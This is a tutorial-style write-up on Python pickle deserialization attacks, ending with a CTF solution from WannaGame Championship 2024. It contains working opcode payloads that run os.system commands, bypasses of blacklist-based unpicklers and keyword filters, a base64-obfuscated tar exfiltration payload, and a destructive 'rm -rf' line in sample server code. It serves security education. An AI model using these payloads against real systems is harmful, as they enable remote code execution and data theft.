Introduction to Object Serialization

Imagine playing a game where you've invested significant effort into progressing your character. However, for some reason, you need to stop playing and don’t want to lose your progress. Have you ever wondered how the game saves your character’s state?

Let's consider a simple example where your character is represented as an object with three attributes: level, HP, and item.

class Hero:
    def __init__(self):
        self.level = 18
        self.HP = 100
        self.item = "sword"

However, we can’t directly save an object like this into a text file. So, how can we store this state and restore it later? The solution is object serialization and deserialization.

Now, we can't just dump this character info straight into a file—computers don't work that way. Instead, we need to turn it into something we can actually save, like turning a 3D object into a flat blueprint. This is where something called serialization comes in. Think of it as taking a snapshot of your character that you can save to your computer. When you want to play again, you just load that snapshot (that's deserialization), and boom—your character is back exactly as you left them.

Introduction to Pickle

In Python, we have 2 concepts present for 2 processes, serialization/deserialization, which are pickling/unpickling.

Back to an example above:

class Hero:
    def __init__(self):
        self.level = 18
        self.HP = 100
        self.item = "sword"

I want to store this object and restore it when I want to use it. I will use the pickle module. I will save this object to a file with the filename hero.pkl:

import pickle

class Hero:
    def __init__(self, level, HP, item):
        self.level = level
        self.HP = HP
        self.item = item

hero = Hero(18, 500, "sword")

with open('hero.pkl', 'wb') as f:
    pickle.dump(hero, f)

And restore this object:

import pickle

class Hero:
    def __init__(self, level, HP, item):
        self.level = level
        self.HP = HP
        self.item = item

with open('hero.pkl', 'rb') as f:
    loaded_hero = pickle.load(f)

print(loaded_hero.level)  # Output: 18
print(loaded_hero.HP)     # Output: 500
print(loaded_hero.item)   # Output: sword

Pickle uses the following functions for serializing and deserializing Python objects:

pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)

pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)

pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict', buffers=None)

pickle.loads(data, /, *, fix_imports=True, encoding=”ASCII”, errors=”strict”, buffers=None)

The Pickle dump() and dumps() functions are used to serialize an object. The only difference between them is that dump() writes the data to a file, while dumps() represents it as a byte stream.

Similarly, load() reads a pickled byte stream from a file, whereas loads() deserializes them from a bytes-like object.

But wait!!!!!!!

The pickle module is not secure.

Pickle deserialization vulnerability

In the previous section, we mentioned an unsafe element in Pickle—deserializing unknown binary byte streams. The reason for this is that the byte stream may contain carefully crafted malicious code, in which case we use methods that will result in the execution of the malicious code. For example:

The above demo is a visual description of the Pickle deserialization vulnerability. As you can see, when unpickling (pickle.load()), the __reduce__ method is called. However, this vulnerability can be exploited in many more ways than that, and to delve further into it, we need to understand how pickle works.

How Pickle works

Pickle can be thought of as a stand-alone stack language that consists of a string of opcodes (instruction sets). The parsing of the language relies on the Pickle Virtual Machine (PVM).

PVM consists of the following three parts:

• Instruction Processor: Reads opcodes and parameters from the stream, interpreting them sequentially. This process continues until a terminator is encountered, which signals the end of execution. The final value at the top of the stack is returned as the deserialized object.
• Stack: Implemented using Python's list, it serves as temporary storage for data, parameters, and objects during execution.
• Memo: Implemented using Python's dict, it provides persistent storage throughout the lifecycle of the PVM.

There are currently 6 different protocols that can be used for pickling. The higher the protocol used, the more recent the version of Python needed to read the pickle produced.

• Protocol version 0 is the original “human-readable” protocol and is backwards compatible with earlier versions of Python.
• Protocol version 1 is an old binary format that is also compatible with earlier versions of Python.
• Protocol version 2 was introduced in Python 2.3. It provides much more efficient pickling of new-style classes. Refer to PEP 307 for information about improvements brought by protocol 2.
• Protocol version 3 was added in Python 3.0. It has explicit support for bytes objects and cannot be unpickled by Python 2.x. This was the default protocol in Python 3.0–3.7.
• Protocol version 4 was added in Python 3.4. It adds support for very large objects, pickling more kinds of objects, and some data format optimizations. It is the default protocol starting with Python 3.8. Refer to PEP 3154 for information about improvements brought by protocol 4.
• Protocol version 5 was added in Python 3.8. It adds support for out-of-band data and speedup for in-band data. Refer to PEP 574 for information about improvements brought by protocol 5.

In this article, I will focus on protocol version 0.

PVM workflow

Here are two GIFs that visually illustrate the workflow of PVM

PVM parsing str process:

PVM parsing __reduce__() process:

Let's take a simple example if we have the following opcodes:

opcode=b'''cos  
system
(S'whoami'
tR.'''

/*
cos        #Bytecode c, format c[module]\\n[instance]\\n, import os.system and push the function onto the stack.
system   
 
(S'ls'     #Bytecode "(", push a MARK onto the stack. Bytecode "S", instantiate a string object 'whoami' and push it onto the stack.
 
tR.        #Bytecode "t" finds a MARK on the stack and combines the data between into a tuple. Then, it executes os.system('whoami') through bytecode "R".
#Bytecode ".", program terminates, taking the top element of the stack, os.system('ls'), as the return value.
*/

Here is the results:

Commonly used opcode

pickletools

We can use the pickletools module to convert the opcode into an easier format to read. For example:

Exploit methods

Command execution

The pickle module allows objects to define their own serialization behaviour using the __reduce__ method. When an object is unpickled, its __reduce__ method is invoked, returning either:

import pickle, os

class P(object):
    def __reduce__(self):
        return (str, ("__reduce__ method is called",))  
        
print(pickle.loads(pickle.dumps(P()))) # Output: __reduce__ method is called

• A string representing the name of a Python global, or
• A tuple describing how to reconstruct the object during unpickling.Typically, this tuple contains:
  • A callable (usually the class or a factory function)
  • Arguments to be passed to the callable

During unpickling, it pickle serializes each component of the tuple separately and invokes the callable with the provided arguments to reconstruct the object.

We can override the reduce method in the class to execute arbitrary commands on deserialization. In Pickle, there are three bytecodes for function execution: R, i, o.

o:

opcode3=b'''(cos
system
S'whoami'
o.'''

i:

opcode2=b'''(S'whoami'
ios
system
.'''

R:

opcode1=b'''cos
system
(S'whoami'
tR.'''

The result of pickle serialization is OS-dependent, payload built with Windows may not work on Linux.

import pickle, os
class P(object):
    def __reduce__(self):
        return (os.system,("whoami",))

print(pickle.dumps(P()))

#In Linux:
b'\\x80\\x04\\x95!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x05posix\\x94\\x8c\\x06system\\x94\\x93\\x94\\x8c\\x06whoami\\x94\\x85\\x94R\\x94.'

#In Windows:
b'\\x80\\x04\\x95\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x02nt\\x94\\x8c\\x06system\\x94\\x93\\x94\\x8c\\x06whoami\\x94\\x85\\x94R\\x94.'

Instantiate the object

Instantiating objects is also a special kind of function execution that we can also construct by handwriting opcode.

import pickle

# Simulate the server's deserialization process
def check_role(serialized_data):
    user = pickle.loads(serialized_data)  # Deserialize the data
    if user.role == "admin":
        print(f"Welcome, {user.username}! You have admin access.")
    else:
        print(f"Sorry, {user.username}, you do not have admin access.")

# Define the Person class
class Person:
    def __init__(self, username, role):
        self.username = username
        self.role = role

# Maliciously crafted serialized data
malicious_serialized_data = b'''c__main__
Person
(S'htthanh'
S'admin'
tR.'''

# Check the malicious data
check_role(malicious_serialized_data)

Variable overrides

#secret.py
secret="SECRET KEY"

import pickle
import secret
 
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake_secret_key=pickle.loads(opcode) #Override secret_key
 
print("secret key:"+fake.secret)

#secret key:SECRET KEY
#secret key:Hack!!! 

Official fix recommendations

The first official advice for pickle deserialization vulnerabilities is to never unpick data from untrusted or unverified sources. The second is to limit global variables by rewriting. Here is an example from the official document:

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

Bypass the weak defence mechanism

Bypass the week RestrictedUnpickler

Sometimes we will see the following code:

import pickle
import io
import builtins
 
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
 
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

Instead, use a whitelist like the official document. This code uses modules that limit the use of modules and disable the built-in dangerous functions. How should we take advantage of them?

To bypass it, we need to know when the find_class() method is called.

For such reasons, you may want to go through customization Unpickler.find_class() to control who to unblock. Contrary to what its name suggests,Unpickler.find_class() It is called when a request to any global object, such as a class or a function, is executed*。 As a result, global objects can be banned altogether or restricted to a safe subset.*

These three bytes are used in opcode to deal with global objects. They are called when they show up: c, i, b'\\x93’ . If we don’t use them, the find_class() method is not called.

We can use the idea of Python sandbox escape and get the function we want. This code does not disable the function and can get the property value of the object. So we can get eval function like the following:

The next thing we have to do is construct the first argument that the module passes to, and we can use the function to get what the built-in module contains.

It can be seen that the builtins module still contains the builtins module. Since the returned result is a dictionary, we also need to get the get() function.

The final constructed payload is builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)

With this idea, Let's write the opcode payload. Start by getting the get function:

import pickle
import pickletools
 
opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''
pickletools.dis(opcode)
print(pickle.loads(opcode))

Then get the globals() dictionary

import pickle
import pickletools
 
opcode2=b'''cbuiltins
globals
)R.
'''
 
pickletools.dis(opcode2)
print(pickle.loads(opcode2))

Now that we have the get() and globals() dictionaries, we can combine them to get the built-in module.

Finally, we can call the eval function of the builtins that we obtained

import pickle
 
opcode4=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.'''
 
print(pickle.loads(opcode4))

The result of the final command execution is as follows

import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
 
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
 
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
 
restricted_loads(opcode)

Bypass the R opcode

If the R opcode is disabled. How can we do RCE?

In this case, you will immediately think of bytecode related to function execution. It contains R, i, o.

• R:

opcode1=b'''cos
system
(S'whoami'
tR.''

• i:

opcode2=b'''(S'whoami'
ios
system
.'''

• o:

opcode3=b'''(cos
system
S'whoami'
o.'''

Bypass keyword filtering

In some cases, let's say we want to use opcode to override variables to spoof our identity, but the code filters the attribute keywords we want to override.

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)
 
 
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

The source code is ingested into the module, where the properties are stored. Now that the question has filtered the property name, how do you bypass it?

Unicode bypass using the V opcode

Normally, we can circumvent the comparison by overriding the following constructor variables

b'''capp
admin
(S'secret'
I1
db0(capp
User
S"admin"
I1
o.'''

After filtering secrets, you can construct them as follows:

b'''capp
admin
(Vsecr\\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''

Hexadecimal bypass

b'''capp
admin
(S'\\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''

Example challenge

Now, let’s put our skills to the test with a CTF challenge!

Here’s the challenge source code: Download Here

This challenge is from the WannaGame Championship 2024. Let’s see if we can solve it! 🚀

This challenge is a Flask-based challenge. When I first accessed the challenge, I encountered two functionalities: login and register.

Checking how these functionalities are handled:

users_db = {}

@app.route("/")
def index():
    if "username" in session:
        return render_template("index.html", username=session["username"])
    return redirect(url_for("login"))

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users_db:
            flash("Username already exists!", "error")
            return redirect(url_for("register"))
        users_db[username] = generate_password_hash(password)
        flash("Registration successful!", "success")
        return redirect(url_for("index"))
    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users_db and check_password_hash(users_db[username], password):
            session["username"] = username
            flash("Login successful!", "success")
            return redirect(url_for("index"))
        flash("Invalid username or password!", "error")
    return render_template("login.html")

The application uses a dictionary (users_db) to store user information. Here's how it works:

1. Home Page (/): It checks the user's login status using the session. If logged in, it displays the username; otherwise, it redirects to the login page.
2. Registration (/register): When registering, the system checks if the username already exists in users_db. If it’s a new username, the system hashes the password and stores it in the dictionary with the username as the key.
3. Login (/login): During login, the system verifies the username and password. If correct, it saves the username in the session and redirects to the home page.

At first glance, I don’t see anything suspicious in this code... I proceeded to register, log in, and continue testing the application.

I registered, logged in, and continued testing the application.

Moving on to the "process" functionality

@app.route("/process", methods=["GET", "POST"])
def process():
    if "username" not in session:
        return redirect(url_for("login"))

    error = None
    disassembled_output = None

    banned_patterns = [b"\\\\", b"static", b"templates", b"flag.txt", b">", b"/", b"." ]
    banned_instruction = "REDUCE"

    if request.method == "POST":
        payload = request.form.get("payload", "")
        try:
            decoded_data = base64.b64decode(payload)

            for pattern in banned_patterns:
                if pattern in decoded_data:
                    raise ValueError("Payload contains banned characters!")

            try:
                output = io.StringIO()
                pickletools.dis(decoded_data, out=output)
                disassembled_output = output.getvalue()

                if banned_instruction in disassembled_output:
                    raise ValueError(
                        f"Payload contains banned instruction: {banned_instruction}"
                    )

            except Exception as e:
                disassembled_output = "Error!"

            pickle.loads(decoded_data)

        except Exception as e:
            error = str(e)

    return render_template(
        "process.html", error=error, disassembled_output=disassembled_output
    )

Observing pickle.loads(decoded_data), reminds me of insecure pickle deserialization. I need to provide a base64-encoded opcode string as a payload.

Pickle has three opcodes that allow execution:

• R
• i
• o

This means I have three possible ways to construct my payload:

# R opcode
opcode1=b'''cos
system
(S'whoami'
tR.'''

# i opcode
opcode2=b'''(S'whoami'
ios
system
.'''

# o opcode
opcode3=b'''(cos
system
S'whoami'
o.'''

However, it's not that simple because I encountered some filters.

• Filter 1: Restricted Characters

banned_patterns = [b"\\\\", b"static", b"templates", b"flag.txt", b">", b"/", b"." ]
...
for pattern in banned_patterns:
    if pattern in decoded_data:
        raise ValueError("Payload contains banned characters!")

With this filter, I can bypass the command restrictions using base64 encoding.

The command I want to execute:

tar -cf /app/static/css/flag.tar /flag

Becomes:

tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)

• Filter 2: Restricted Instruction

banned_instruction = "REDUCE"
...
output = io.StringIO()
pickletools.dis(decoded_data, out=output)
disassembled_output = output.getvalue()

if banned_instruction in disassembled_output:
    raise ValueError(
        f"Payload contains banned instruction: {banned_instruction}"
    )

Here, I see that pickletools.dis() is used to convert the opcode into a human-readable format.

import pickletools

opcode=b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)

### Output in PowerShell ###
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'whoami'
   22: t        TUPLE      (MARK at 11)
   23: R    REDUCE
   24: .    STOP
highest protocol among opcodes = 0

If "REDUCE" appears in the disassembled output, it will trigger an error.

This means I cannot use the R opcode.

Since R is banned, I will use i or o.

import pickle
import base64

opcode=b'''(S'tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)'
ios
system
'''

#pickle.loads(opcode)
print(base64.b64encode(opcode).decode())

I did not include a . (STOP) opcode in my payload.

This might cause an error, but the function call still executes successfully! 🚀

Now it's time to solve it!

Flag: W1{do_you_wanna_play_pickleball?924fb8363b8082e10704a6ed2610c4cb}